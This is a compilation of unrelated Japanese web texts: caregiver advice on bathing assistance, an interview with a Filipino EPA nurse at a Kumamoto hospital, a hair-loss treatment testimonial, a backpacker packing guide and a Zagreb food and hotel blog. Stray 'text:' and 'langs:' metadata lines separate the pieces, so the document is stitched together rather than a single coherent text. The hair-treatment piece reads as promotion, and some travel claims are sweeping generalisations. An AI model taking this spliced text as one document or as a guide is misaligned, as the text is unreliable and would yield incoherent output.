入浴介助で最も大切なのは「介護職員がすべてやらない」ということです。
なぜなら入浴介助の全てを介護職員が行ってしまうと、利用者のできる行動範囲が減ってしまうからです。行動範囲が減ってしまうと身体機能が低下し、認知症の悪化などに繋がる危険性があるのです。
そのため、介護職員はあくまで「利用者ができない部分をサポートする」という姿勢を保ち、できる限り利用者自身で入浴していただくよう意識しましょう。
また、出来る限り利用者にやっていただくという姿勢は入浴介助だけに留まる話ではないので、食事介助や排せつ介助など、あらゆる業務の際に意識することをオススメします。
周りのスタッフと密に連携をとる
入浴介助では先輩介護職員はもちろん、看護スタッフなどと密に連携をとることが重要です。
入浴は利用者の要介護度はもちろん、肌や血圧といった健康状態によって「どんな入浴をするべきか?」が大きく異なります。
例えば血圧が極端に高い(もしくは低い)利用者を湯船へと誘導してしまうと、最悪の場合ヒートショック現象が起こり、心筋梗塞などの重い疾患に直結する可能性があるのです。
そのため、利用者の状態をよく知るベテランの職員や、健康状態について詳しい看護スタッフから情報収集し、「今日は入浴しても問題ないか」「入浴する場合どのようなことに注意すべきか」…などを常に理解しておくことが重要になります。
初心者のうちは覚えることが多く、かつ忙しそうな他職員さんに質問することは気を遣うかもしれませんが、出来る限り慎重になり、不安な部分を残さないまま入浴介助をすることがないよう意識してみてください。
利用者の希望を尊重する
「利用者1人1人の希望を尊重する」というのも入浴介助では非常に重要です。
なぜなら、入浴は長い人生の中で個人のスタイルが確立されており、個性があるからです。
多くの利用者が最初に洗髪をするからといって、身体から洗うのが好きな利用者がいない…というワケではありません。
実際、普段意識することは少ないかもしれませんが、あなたにも他の方とは違う入浴の流れが少なからず構成されているはずです。
最初に述べた通り入浴は心身のリラックス効果を期待するものです。そのため入浴がストレスにならないよう、適度に「入浴で希望はありますか?」とヒアリングするよう心がけましょう。
なお、そういった1人1人の細かい希望は先輩の介護職員に聞くと、初心者でもほぼ完ぺきに理解できることが多いです。
入浴介助は温度変化が激しく、閉塞的で事故の起こりやすい環境であるため無理をしないことが大切です。
「少し血圧が高いけど、昨日入っていないから入浴してもらおう」「体勢的に厳しいけど、ちょっと無理して湯船まで誘導しよう」などの油断は、特に高齢者の入浴では命を脅かす危険性があるため、絶対にしないよう注意して欲しいと思います。
なぜこれほど強く注意喚起をするかというと、入浴介助はやることが多いので非常に忙しく、油断が生まれやすい業務だからです。
少しでも難しいと感じる問題点があれば、すぐに先輩職員に相談するなど慎重に行動するよう心がけましょう。
その小さな心掛けがあれば入浴介助で失敗するリスクはグッと押さえられますので、「複雑な入浴介助だからこそ無理はしない」ということを忘れないでくださいね。
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まとめ)利用者に寄り添った入浴介助をしよう
最後に入浴介助で大事なことをまとめます。
利用者1人1人に寄り添った介助をする
できるだけ本人にやっていただく
周りのスタッフと連携を取る
私は完全未経験の状態で介護職員になり、先輩スタッフに教わりながら入浴介助を行ってきました。その経験で感じたのは「臨機応変さが大切」だということです。
私が担当した利用者の中には、そもそも入浴自体が嫌いだという方も多かったです。
そのため、今回紹介した入浴介助の流れ云々の前に、コミュニケーションを取りながら浴室に誘導することが一番大変だった…ということもあります。
利用者の性格や希望はもちろん、その日の状況を踏まえながら臨機応変に対応することで、入浴をより楽しく、安心して行えます。
ぜひ「昨日は大丈夫だったから、同じ方法で介助しよう」という発想ではなく、日々改善をしながらより良い入浴介助を目指してみてください。
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みんなの転職「体験談」。
介護職員初任者研修、介護レクリエーション検定2級、取得済み。
グループホーム・デイサービスなどで1年半以上の介護職経験あり。
経験を元にした記事ライティングを得意としており、個人ブログは月間1万pvを超える。趣味は映画鑑賞,SNS運用,アイドル応援など。
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text:
医療療養病棟 看護師 デ・ヘスス・キャシリン
看護師歴1年(2020年4月時点)
フィリピンで看護師を務め、EPAの制度を利用して来日。日本ではケアワーカーからスタートし、熊本初のEPAでの看護資格取得を果たした。
国家試験受験までの道のり
EPA(経済連携協定)で来日したんですよね?
はい。出身はフィリピンです。フィリピンで4年ほど看護師をして、3年前に来日しました。最初は大阪で日本語を集中的に勉強しました。
当院とは、EPAのマッチング・システムで出会ったんですよね
病院が「この人に働いて欲しい!」と思った候補者を選び、私たちも「ここで働きたい!」と思った候補の病院を選ぶマッチングで、一致しました。
まさに相思相愛でしたね(笑)。当院を選んだ理由は?
実は私、熊本県のことも、当院のことも全然知らなかったんです。候補先のリストに載っている病院から選びました。インターネットを見て、大きい病院だな、と思って。それから、看護師の国家試験受験に向けて、当院でケアワーカーとして働きながら勉強しました。1年半くらいだったかな。皆さんが応援、サポートしてくれたので、無事、熊本県ではEPAで初の看護師免許を取ることができました!
みなさん、どんなふうにサポートしてくれたんですか?
ケアワーカーの仕事をしているとき、院内に私が勉強できるように“勉強部屋”を用意してくれたんです。そこで毎日2~3時間、勉強する時間をつくってくれました。師長さんたちが教えに来てくれることもありました。
家庭教師をしてくれたんですね
そうです。あの時間がなかったら、きっと私は合格していなかったと思います。皆さん、親切でとても優しいです。看護師として働き始めた今も同じです。分からないこと、分かりにくいことがあっても、先輩たちが分かるように説明してくれます。話しやすいスタッフばかりなんですよ。毎日が勉強になっています!
今、日本実習制度でフィリピンのからのケアワーカーさんが多くいらっしゃっていますよね
同じ国の人がいると嬉しいです。みんなが“目指す先輩”でいられるように、これからも頑張ります。
当院の良いところはどんなところだと思いますか?
スタッフみんなが、患者さんだけでなくご家族にもすごく丁寧に接していること。退院されていく患者さんが「また会いましょうね!」って仰ってくださることがあるくらいです。あとは福利厚生が整っていることです。社員食堂はいつも美味しい料理を作ってくれて本当に嬉しいです。もうずっとお世話になっています(笑)。ビュッフェ形式で、デザートもあるんですよ。お昼ごはんの時間はいつも楽しみです。
昨年は社員旅行にも参加していましたね。
初めて参加しました!2泊3日で、京都に行きました。清水寺や伏見稲荷、平等院、良い思い出になりました。浴衣も初めて着たんですよ! とても楽しかったです!
※1班あたり100人くらい、総勢11班に分かれて参加。スタッフ間の交流を目的としたパーティーが行われ、京都では平安神宮で浴衣パーティーを開催。
これからの目標、同郷の皆さんへのメッセージ
今後の目標をおしえてくれますか?
まずは日本語力をアップさせたいと思います。同僚とも、患者さんとも、コミュニケーションが取れなかったら仕事になりませんから。同時に看護技術と知識も磨いていきたいです。
同じように日本で働きたいと考えているフィリピンの皆さんにメッセージをお願いします!
私、最初に“ひらがな”を見たとき、「ああ、無理だ」と思ったんです。書くのがとても難しくて。でも、やりたいと思った今、始めなかったら、いつ始めるの? と思って頑張りました。日本語の勉強は本当に大変だけれど、くじけそうになったときは、ここに来たときのこと、来たいと思った気持ちを思い出して、またファイトです!
SAKURA ROOM
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langs: ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja zh ja en

text:
その後は処方された内服薬と外用薬を使用しつつ定期的に通院したのですが、治療を受ける前に想像していたよりも楽だったので、AGA治療は思ったよりも気軽に出来るなと感じました。
効果もしっかりと感じることができて最初に薄毛の減ったと感じ、半年くらいで髪が増えてきたと感じ始め、1年も経つ頃には薄毛に悩み始める前に近い状態まで改善しました。
正直あまり期待はしていなかったのですが思っていた以上に効果が感じられたので、思い切ってAGA治療を受けてみて大正解でした。


langs: ja ja ja ja ja ja ja en zh ja ja ja ja ja ja ja en ja ja ja ja ja ja zh ja ja ja ja ja zh en ja ja ja ja ja ja ja ja ja ja ja ja zh ja ja ja zh ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja zh ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja zh ja ja ja ja en ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja zh ja ja ja ja ja ja ja ja ja ja ja ja ja zh ja ja zh ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja zh ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja en ja ja ja ja en ja ja ja

text:
バックパックには、ポケットがファスナータイプのバッグと紐タイプのものがありますが、バックパッカーであれば、紐タイプのバックはやめましょう。
海外であれば、盗難対策は重要です。
紐で結ぶタイプのバックであれば、簡単に開けられてしまいます。また、盗難対策で重要である、南京錠をかけることができないといったデメリットもあるので注意しましょう。
バックパック内の物品の盗難はとても多いので、カギをかけられるファスナータイプのものがおすすめです。
海外では、簡単に盗難や不審なものを入れられる可能性があります。自分の身を守るためにも、ファスナーのものにするようにしましょう。
バックパックにはさまざまな種類があり、バックの容量もバックパックによって大きく異なります。小さいものであれば10Lのももあれば、大きいものでは100Lなんて大容量のものまであるのです。
しかし、バックが小さすぎれば荷物が入らなくなってしまうし、バックが大きすぎてしまえば、重たくなってしまい逆に不便となってしまいます。
そのため、バックパックを選ぶのであれば、50Lくらいのバックパックがおすすめです。
もちろん旅慣れてくれば30~40Lのバックパックで楽々移動している人もいますが、バックパッカーの旅がはじめてに近い場合は50L程度あるものがベストでしょう。
バックパッカーに必須な持ち物ってなに?
バックパッカーを始める際、「何が必要になるの?」なんて悩みがでるのではないでしょうか。
必要がないものを持って行ってしまえば、荷物が増えてしまい、必要のものをもっていかなければ、不自由な旅や場合によっては旅ができなくなってしまう可能性もあります。
そこで、この項では「バックパッカーに必須な持ち物」をいくつかを紹介していきます。バックパッカーをやるうえで重要となるので、しっかりと参考にしてください。
パスポートはもちろん最重要な持ち物です。そのため、必ず忘れていはいけません。また、パスポートのコピーも必ずコピーも用意しておいてください。
万が一パスポートを紛失した時に、コピーであっても海外ではあなたの身分証代わりとなります。コピーには、念のため各国の大使館の連絡先や緊急の連絡先などメモしておくようにしましょう。
パスポートのコピーは、何枚か用意しておくようにしましょう。また、コピーを忘れてしまった場合は、携帯などで写真をとっておくのもおすすめです。
イエローカードとは「黄熱病予防接種証明書」のことであり、入国する本人がその予防接種を受けているかを証明するものです。
国によってはイエローカードがないと入国不可の場合があります。そのため、海外に行くのであれば、目的の国のことを事前に調べておくようにしましょう。
また、イエローカードが必要となる国は、指定が変更になることがあります。
「以前はいらなかったけど、今回からは必要だった…」といった場合もあるので、旅に出る前には必ず目的国のことを確認しておきましょう。
イエローカードが必要な国の場合、持っていないと入国することができません。そのため、事前調査はしっかり行うようにしましょう!
海外旅行に行くなら、できれば紛失に備えて数枚のクレジットカードを持参した方が良いでしょう。
カードのブランドにはVISA、マスターカード、JCBアメックス、ダイナース等がありますが、クレジットカードが使える場所の99%ではVISAが使えるので、最低1枚はVISAのカードを持参することをおすすめします。
多少の現金は、必ず持っていくようにしてください。クレジットカードを持っていても、全ての場所でクレカが使用できるわけではありません。
また、クレジットカードを落としてしまったり、盗難にあったりしたりして紛失してしまったと場合現金なければ、ホテルに帰ることもできません。
このようなことにならないためにも、多少の現金は用意しておくようにしてください。
場所によっては、円でも両替できない場合があります。そのため、円と米ドルを両方持っている方が両替ができない時にも困りません。
海外へ行くのであれば、財布は2つ持って行き、中身を分散して入れておいたほうが安心です。
1つの財布だけでは、万が一紛失や窃盗、強盗などにあってしまった場合手持ちのお金を全部持っていかれてしまいます。
そのため、普段使用する財布には使う分だけのお金を入れておき、もう一つの財布はカバンの取りにくい部分に入れておくのがおすすめです。
盗難は他人事などと考えていてはいけません。海外では十分に起こりうることなので、注意しましょう。
ビザとはパスポートの他に入国審査に必要な査証です。
ただ、日本人であれば犯罪歴がなければ入国できる国はたくさんあります。しかし、旅の滞在日数が長期に渡る場合は、国によってビザの取得が必須になります。
つまり、短期滞在で観光目的であればビザ不要のケースがほとんどです。長期滞在で観光以外の目的があれば事前の確認が必要ということです。
海外に行く場合、自分の証明写真を数枚持っていくようにしましょう。
パスポートの紛失や再発行時には証明写真が必要になります。また、ビザを取得しなければならなくなった場合にも顔写真が必要になるので、証明写真があれば代用できます。
一見、必要ないと思われがちですが、海外では万が一のことがあるでしっかりと準備しておくようにしてください。
海外旅行の際に、契約した保険の契約書には保険金額や補償内容が記載されていますから、その原本を持って行くに越したことはありません。
ただ、個人情報も書かれていますから、紛失時のリスクもあるので注意してください。
紛失の心配がある方は、証券番号がわかるようなコピーを持ち歩くと良いでしょう。その際にはコールセンター等の緊急連絡先も必ずメモしておいてくださいね。
海外旅行保険では保険証券を携帯していなくても、保険金請求は可能です。そのため、保険内容や連絡先などがわかるのであれば、保険証券は持っていく必要はないでしょう。
バックパッカーにおすすめのバッグの特徴は先にもお伝えしましたが、ポイントを広くみると、「使いやすい」「丈夫」「軽い」は大切です。
多くのシーンで使いやすく、日本よりもハードな環境でも壊れにくく、快適な移動のためには軽いことが望ましいです。
色やカッコよさ・おしゃれさよりも使い勝手重視で購入するようにしましょう。
海外旅行中では大きなバックパックの他に、小物やすぐに取り出す必要があるものを入れる「サブバッグ」は必需品です。
ただ、海外では日本よりもはるかに盗難に備える必要があるため、防犯対策はしっかり行うようにしましょう。
おすすめのサブバッグは「南京錠がかけられる」「生地が厚手で丈夫」「内ポケットがある」「目立ちすぎない」「軽くて防水性がある」等の条件に当てはまるものです。
盗難に遭ってからでは遅いですから、防犯対策を意識したサブバッグを選びましょう。
バッグカバーは、バックパックの汚れや劣化を防ぐことができるアイテムです。
日本で使用する以上に海外の旅では環境が過酷である場合が予想されますから、バッグカバーはかなり重宝するでしょう。
またバックパックを地面に置いている時や背負っているときに、荷物の盗難にあったり、勝手に開けられ麻薬を入れられたりすることから守れます。
日本では想像できないことが海外では起こり得ることを理解しておいてください。
セキュリティポーチは「全ての荷物を失っても日本に戻れる」ための最後の手段ともいえるものを入れておきます。
パスポートのコピーや多少の現金、クレジットカード、航空券、ホテル情報等ですね。
今はクレジットカードのスキミング防止のセキュリティポーチもあるので、いざというときのためにも必ず用意しておきましょう。
スマホは連絡手段の他、各国の情報を得たり旅の今後の計画を立てる上でも、とても便利で重宝する物です。
また、お支払いや緊急時のライフラインとしても使えるので、海外では必須のアイテムと言えるでしょう。
そのほかにも、万が一現金を無くしてしまった場合でも、携帯電話さえあれば日本に帰国することもできるので、携帯電話は忘れずに持っていきましょう。
最近では、携帯電話にクレジットカードの情報を入力することができます。そのため、万が一のためにも入力しいておくことがおすすめです。ただ、海外ではiPhoneなどは高価なため、盗難には注意するようにしてください。
衣類や日用品はどんなものが必要?
衣類や日用品は、どうしても多く持っていきがちとなってしまう持ち物です。
しかし、日用品が増えれば増えるほど、荷物もその分多くなってしまい本当に必要なものが持ってきなくなってしまう可能性があるので注意しましょう。
ここでは、海外に持っていく際の衣類や日用品について解説していきます。
このことを参考に、持っていくものは必要最低限のものにし、現地調達できるものは現地で購入するようにしましょう。
バックパッカーとして海外に行くのであれば、着替えは最低限なものを持っていくようにしましょう。
Tシャツ、下着、靴下、長袖Tシャツなどであれば各3~4枚くらい、ズボンであれば長ズボン、半ズボン、できればジーンズなどもあると便利です。
また、バックパッカーであれば現地で洗濯をすることは常ですから、着替えはなるべく乾きやすいものを選んで持っていくと良いでしょう。
旅に行くのであれば、防寒着や雨具は必須アイテムです。防寒着として持っていくのであれば、薄手でも保温性が高い物が良いですね。
また、防水のしっかりしたウインドブレーカーなどは雨具としても使えるのでおすすめです。
海外では質の良いレインコートなどにはなかなか巡り会えないので、日本から持っていく方が良いでしょう。そのほかにも、雨具としては、軽量でコンパクトな折り畳み傘も持参することをおすすめします。
防寒着として持っていくのであれば、ダウンジャケットはおすすめできません。コンパクトにたためず、荷物として幅をとってしまうので注意が必要です。
旅ではとにかく歩きますから、スニーカーは必須アイテムです。ただ、旅のために靴を新調するのは避けましょう。
靴を持っていくのであれば、履きなれたスニーカーがベストです。
また、サンダルも持参すればシャワールームなど色々の場面で役立ちます。場所によっては靴よりもサンダルの方が歩きやすいところもあるので、サンダルも一足用意すると便利ですよ。
薬などは、現地調達するには困難なものです。
そのため、日本でしか買えない薬や必要な常備薬などは必ず持参してください。コンタクトや目薬などが必要な方は、あらかじめ余分に買って持っていく方が良いでしょう。
国によっては、薬などでも調達できる国もあります。旅に行く際は、しっかと下調べし、現地調達できないような国に行くのであれば準備してから行くようにしてください。
歯ブラシ、シャンプー&コンディショナー、ボディーソープ、洗顔石鹸、洗濯石鹸などは現地でも売っている国が多いです。
日本から持っていく場合、重さもあり荷物もかさんでしまうため、荷物に余裕がなければ持っていかなくても済むものといえるでしょう。
ただ、南国や暑い国に行く場合は、日焼け止めは日本から準備しておくことをおすすめします。
旅に行く場所にもよりますが、海外では水着はとても重宝します。衣類としても着ることができるし、汗で濡れても乾きやすいといったメリットがあります。
そのため、南国などの暑い国に行くのであれば、水着が一着あるととても便利ですよ。
訪れる場所によっては、日本とは比べものにならないくらいの強い日差しを受ける場合がありますから、サングラスと帽子は必須です。
また、旅先では街中にどこでも時計があるとは限りません。そのため、アナログ式で丈夫な腕時計をしていくことをおすすめします。
携帯電話でも時間は確認することができます。ただ、充電が切れてしまった場合、時間も確認できなくなってしまうので、携帯電話に頼るのはやめましょう!
あると安心安全グッズ!!
海外の旅を楽しむために大事なことは「安心・安全」の対策をしっかりすることです。そのため、次のような防犯アイテムは日本から必ず持っていくようにしましょう。
海外で必要な防犯グッズ
南京錠は、海外では必須アイテムといっても過言ではありません。南京錠がいくつかあれば、それだけである程度の防犯の効果を期待できます。
バックパックのポケットのチャックや持ち物、または、ホテルなどに金庫がない場合でも南京錠があれば、荷物を盗難から守ることができますよ。
ただ、南京錠を選ぶ際は、画像のような「鍵式」のものではなく「ダイヤル式」のものを持っていくのがおすすめです。
「鍵式」の南京錠であれば、南京錠の鍵を無くしたり、盗まれてしまったりした場合、南京錠を開けれなくなってしまいます。そのため、南京錠は「ダイヤル式」のものを持っていきましょう。
パックセーフとは、ステンレス製のワイヤーでバックパックを包み柱などに固定し、荷物を置いた際の盗難を防犯するグッズです。
海外では、ちょっとした隙にバックパックが盗難に遭ってしまうことがあります。
例えば、昼食を摂る際にバックパックを置いたり、ホテルのフロントにバックパックを置いたりと、ほんの少し目を離しただけで荷物が盗まれてしまうことがあるのです。
ほんの少しだけと油断しただけで荷物が盗まれてしまっては、せっかくの旅も台無しになってしまいます。
パックワイヤーをつけておくことで、わずかな隙でも荷物を守れるので、海外に行く際は持っていくようにしましょう。
ワイヤーダイヤル錠とは、名前の通り「ワイヤーとダイヤル錠が一体となっているもの」です。
ワイヤーダイヤル錠があることで、南京錠がかからない大きなものも盗難から守ることができます。手持ちのバッグやバックパック自体をどこかに固定してワイヤーでロックをすることができるので、盗難を未然に防ぐことができます。
海外に旅に出る際は1つで良いので持っていくと便利ですよ!
持っていきたい便利グッズ一覧!
旅に出るのであれば、旅を最大に楽しみたいのが本音ですよね!
また、できるだけ快適に毎日を過ごせればもっと旅を楽しくできるのではないでしょうか。ここでは、そんな旅を最大に楽しむために持っていきたい便利グッズを紹介していきます。
旅の必須アイテムも紹介してるので、最後まで読んでくださいね!
スマホがあるとはいえ、ノートパソコンが手元にあれば情報取集には圧倒的に便利です。
一昔前よりはかなりコンパクトで軽量化されていますから、旅の質を上げ、楽しみを増やすためにぜひ持っていきたいですね。
ただ、Wi-Fiなどのネット環境がしっかりしていない地域では、使用できないといったデメリットもあるので注意しましょう!
ポータブル充電器は、便利グッズの中でも必須アイテムといっても良いでしょう。
スマホなどの電化製品は充電が必要です。しかし、万が一充電が切れてしまっても、これさえあれば外出先でも充電することができます。
ただ、本体の充電も必要になるので、持っていく際は充電を忘れたということがないように気をつけましょう。
変圧器とは、電圧を変換するものことです。
日本のコンセントでは、100Vの電圧が一般的です。しかし、海外に行けばすべてのコンセントが100Vとは限りません。
そのため、日本製の電化製品を海外で使用する場合使用できなかったり、最悪故障してしったりする場合があります。
そこで、電圧を変換するために必要となるのが「変圧器」です。変圧器があれば、任意の電圧に変換できるので、日本製の電化製品であっても安心して使用することができます。
コンセントの変換プラグ
海外に行くのであれば、コンセントの変換プラグは必須アイテムです。
なぜなら、海外のコンセントは国によって違い、日本と同じとは限りません。そのため、日本製の電化製品を使おうと思っても、コンセントに入らず使用できないケースもあります。
変換プラグがないと、スマホなどの電化製品は一切充電できなくなってしまうので必ず持っていくようにしましょう!
延長コード、コンセント分配器
コンセントを使ったり充電をしたりする際に、宿によってはコンセントがひとつしかないところもあります。
当然それでは足りないケースがありますから、延長コード、コンセント分配器は日本から持参しましょう。
ドライヤーは、一般的に髪を乾かすことに使用する電化製品です。
しかし、海外では洗濯物を乾かすことなどにも使用できる便利製品です。ただ、大きいものはかさばりますから、コンパクトのものをひとつ持参するのがおすすめです。
女性バックパッカーならではの持ち物ってある?
バックパッカーの持ち物は男性と女性では必要な物が多少違います。女性ならではの必需品もあるので、しっかりと確認しておきましょう。
女性にとっての生理用品は旅の必需品ですが、現地調達できないものでもありません。世界中には女性がいますから、生理用品が手に入らないという事態はほぼないでしょう。
実際に現地調達でまったく問題なかった女性バックパッカーたちも大勢います。
ただ、「どうしても使い慣れたものが良い」「海外のものは不安」という女性は、心配しながら旅に出るよりは日本から持参しても良いでしょう。
女性バックパッカーによって、化粧品を持ち歩くかどうかは人によって分かれるところです。旅行中はほとんど化粧をしない女性もいますし、できる限りのケアをする女性もいます。
クレンジングオイル(化粧落とし)、化粧水、化粧用品、ヘアケア用品などは使い慣れたものにこだわる場合は持っていく選択もあります。
ただ、現地でも調達できますから、あえて日本から持ち込まなくてもそれほど心配はいらないでしょう。
どちらかというと忘れてはならないのが日焼け止めのほうですね。
また、旅先であまり濃いキレイなメイクをしていると犯罪に巻き込まれるケースもあります。海外では、メイクは最低限にと考えておいたほうが良いですね。
持ち物を選ぶ際の重要ポイント
ここまで持ち物それぞれについて解説してきましたが、バックパッカーが荷物を選ぶうえ重要なポイントは次の通りです。
持ち物を選ぶ際の重要ポイント
使いやすさ、丈夫さ、軽さで選ぶ
日本でしか準備できないものは持っていこう
これは、荷物を選ぶ際すべてに共通するポイントなので、しっかりと確認しておきましょう。
使いやすさ、丈夫さ、軽さ
バックパッカーとして旅に出る際の持ち物は、使いやすく、丈夫で、軽いものを選びましょう。これは、大きなものから小物まですべてに当てはまることです。
使いにくい物、操作性の悪いものは旅での快適さを減らしてストレスを増やします。そして丈夫さに欠けて壊れてしまうものがあれば旅の計画にも影響を及ぼすこともあります。
また、すべての荷物は身一つで自分で運びますから、軽ければ軽いほど本人への負担は減りますよね。
「使いやすい」「丈夫」「軽い」の3要素が揃った持ち物にすれば、それだけ物の準備や管理が楽になり、その分充実した旅の時間を過ごせますよ。
日本でしか準備できないもの
自分で常備したい薬や電化製品など日本でしか購入できない可能性があるものは、事前に準備しておくことが重要です。
特に薬やサプリメントは、自分の体質に合っているものが海外で売られているとは限りません。
また、電子機器などは日本製のものが使いやすく優れている場合がありますから、現地調達よりは日本から持参する方が良い場合が多いでしょう。
必要最低限の持ち物を選ぼう!!
バックパッカーで旅に出る際、あれやこれやと持ち物を選ぶとバックに入りきらなくなってしまいます。
そのため、ある程度の持ち物が決まったら、再度「本当に必要なものなのか」を、利用シーンを思い浮かべて判断しましょう。
良い旅のために、いらないものは置いていくようにしてください。
それでも、持ち物が多くなってしまうのであれば、まずは必要最低限のものだけに絞って荷物をまとめてみましょう。その上で「あった方が良いもの」「現地調達で済むもの」を整理して最終的に厳選してください。
荷物が多すぎると管理できなくなり、盗難のリスクも増えてしまいます。バックを増やすのではなく、1つのバックパックに収めるようにしましょう!
今回はバックパッカーの人に向けて、世界を周るための必要最低限の持ち物を紹介しました。まだ旅慣れない間は、ついなんでもかんでも持っていきたくなってしまいますよね。
ただ同時に、低予算で身一つで海外に行くことのチャレンジもバックパッカーの魅力のひとつでしょうから、荷物選びから最初のチャレンジがはじまっているともいえますね。
また、どんなにしっかり準備をしたつもりでも旅先では必ずといっていいほど「苦労」「困難」はあります。そのすべてをひっくるめて旅を楽しもうとするのがバックパッカーなのかもしれませんね。
どうか「最適な」持ち物を準備して、最高の旅の体験に向かってください。
海外旅行保険に入ってないのはヤバい!
海外旅行に行く方で、海外旅行保険に加入していない人は多いです。
しかし、これって正直やばいです。こっちがひやひやしてしまうくらい、危ないです!
たとえば、アメリカで手術すると盲腸で300万円とかの費用になります。海外旅行保険加入していないと、これが自腹です。
ヤバいですよね。破産してしまいます。
そこで、海外旅行保険に加入しましょう。とはいっても、海外旅行保険付きのクレジットカードを発行すればオッケーです!


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text:
「かなり多いからデザートくらいがいいのでは?」とのこと。
確かに運ばれてきたイカは、大きい上に3つも!!!500gあるので確かにデカイはずです 笑 そして付け合わせのほうれん草とポテトのソテーもかなりボリューミー!!!
イカプレート(150クーナ)、500mlの水(12クーナ)
テリテリで外カリカリ、そして身はプリプリのイカに、貝殻に盛られたガーリックオイルがよく合います ^^
そして、付け合わせを挟みながら食べると最高に美味で大満足な夕食でした。
私はイカを食べましたが、周りのクロアチア人常連客は皆さん肉を頼んでいたので、お肉も美味しいのでしょう ^^
パンナコッタ(20クーナ)、紅茶(11クーナ)
そして食後には、パンナコッタと紅茶を頼みました。
が、こちらは残念ながらイマイチ・・・。ブルブルしたゼラチン質の強いパンナコッタで正直おすすめはしません・・・。
デザートはカフェや専門店でお楽しみください ^^
旧市街で本格インドカレー
ルーマニアでもインド料理が少なく飢えている私は、どうしてもインドカレーが食べたくて、事前リサーチの上、たどり着いたお店がとっても美味しかったのでご紹介します。
普通の日本人なら、ザグレブまで来てわざわざインドカレーは食べないかもしれませんがご参考まで 笑
石の門から徒歩5分程のレストラン通りにある「Royal India」。
お昼になったばかりの時間で一番乗りでしたが、気さくなクロアチア人のお姉さんがメニューを持ってきてくれました。
選んだのは、一番定番のインドカレーらしいチキンカレー「Murgh Curry」。
15分程で運ばれてきたのがこちら ^^ バスマティライスも香りがとってもよく期待が高まります!
Murgh Curry(60クーナ)、水(15クーナ)
そして、これが結構辛くて(辛めを希望したので当然か?)とっても美味しいカレーでした ^^
サラサラ系のカレーですが、お味は濃厚で大きなお肉がゴロゴロ入っていて、かなりお腹いっぱいに。でも綺麗に完食しました。
注意したいのが、このお店は100クーナ以上でないとカード払いができません。ザグレブは少額だとカードが使えないレストランやショップが多いため、現金を用意することをおすすめします。
私も現金を持っていなかったため、一度お店を出て、近くの両替コーナーで現金を調達して支払いました ^^ インドカレーが恋しくなったら、ここがおすすめです ^^
スーパーで買えるおすすめのお土産
旧市街や新市街にもお土産屋さんはありますが、私が旅先で必ず行くのがスーパーです。
その土地のお菓子やスープなどを見たり実際買って試すのが大好きです ^^
実際訪れたのが、バスターミナルから15分程歩いたショッピングモールに入っている「Super Konzum」というKonzum系列の大き目のスーパーです。
生鮮食品からお菓子など豊富に揃うスーパー
1つ85円程度で買えるクロアチアブランドのチョコレート
「MIKADO」というクロアチアのメーカーを見つけました。日本語みたい ^^
クロアチア特産品のオリーブオイル
以前、知り合いから紹介されたクロアチアのOlea BB 社のオリーブオイルがとっても美味しかったのですが、Super Konzumで見つけました!
99.99クーナ/本が、セール中で79.99クーナでした ^^
このオリーブオイル、サラダやカルパッチョにピッタリで、生でいただくときにオススメです。美味しいお塩とこのオリーブオイルだけで、パンが美味しくいただけますよ ^^
種類が沢山ありますが、生野菜や魚など幅広い食材に合わせやすい「Buza」という黄緑のラベルがおすすめです。
Konzumは市内の中心部にもあり、小さめですがトラムが通るイェラチッチ総監広場の近くにもあります。
この他にも、このあとご紹介する宿泊したホテルの斜め前にも割と大き目のスーパー「Tommy」がありますが、私が訪れた日曜は13時までの営業だったため入れませんでした。
また、イェラチッチ総監広場に面した「Diona」というコンビニ規模のスーパーには、クロアチアコーナーがあり、トリュフチップスが絶品でした ^^
店内の中央にクロアチアコーナーがあります。
トリュフのペーストなどの小瓶も、空港より若干安く売られています。
左上クッキー(24クーナ)、トリュフチップス(22クーナ)、チョコバー(3クーナ)、板チョコ(6クーナ)、大箱クッキー(15クーナ)、サラミ(空港で35クーナ)
大箱のクッキーは開けるとそのままザクザクとクッキーが入っていて、少々驚きましたが、素朴な味で食べだすと止まらなくなりました ^^
板チョコも普通に美味しく、レトロなパッケージがまた可愛くておすすめです。
私の一番のおすすめはトリュフチップスです!開けた瞬間からトリュフの香りが広がり、チップスとしてもカリッカリでとっても美味でした ^^
今回私が宿泊したのは、バスターミナルのほぼ目の前にある「Hotel National」です。
シンプルな外装のゲストハウス
利用時期:2019年4月下旬
予約方法:Booking.com
料金:56€(シングル、朝食なし)
バスターミナルから徒歩5分
頻発運行のトラム停から徒歩5分
最低限の設備だがコスパが高い
ウェルカムドリンクサービス付き
斜め前に大き目のスーパーがある
バスアメニティがほぼない(ソープのみ)
バスターミナルから徒歩5分以内で、バスターミナル前のトラムが利用できてとても便利な立地にもかかわらず、価格が良心的で全体的におすすめできるホテルです。
ただ、部屋はかなり狭いので、大きなトランクの場合は開くスペースはドアの前のみとなると思います。
アメニティはほぼないですが、トイレも、シャワーも申し分ない機能でした。
徒歩5分のバスターミナルとトラム停
他都市もしくは空港への移動を便利にしたい、そしてトラム利用に抵抗がないならば、このホテルはコスパがよくおすすめです。(トラムは乗るのはとっても簡単です。前回の記事を参照ください。)
私はあえて朝食は付けませんでしたが、近くにパン屋さんもあり、街中にはカフェも多いです。物価の安いクロアチアのため、外で食べることをおすすめします ^^
ホテル予約におすすめのサイト
私は毎度Booking.comを利用していますが、このサイトの良さは写真が多いこと、そして日本人を始めとした口コミ投稿数も多いため、実際に宿泊した人の感想を細かく確認できるところです。
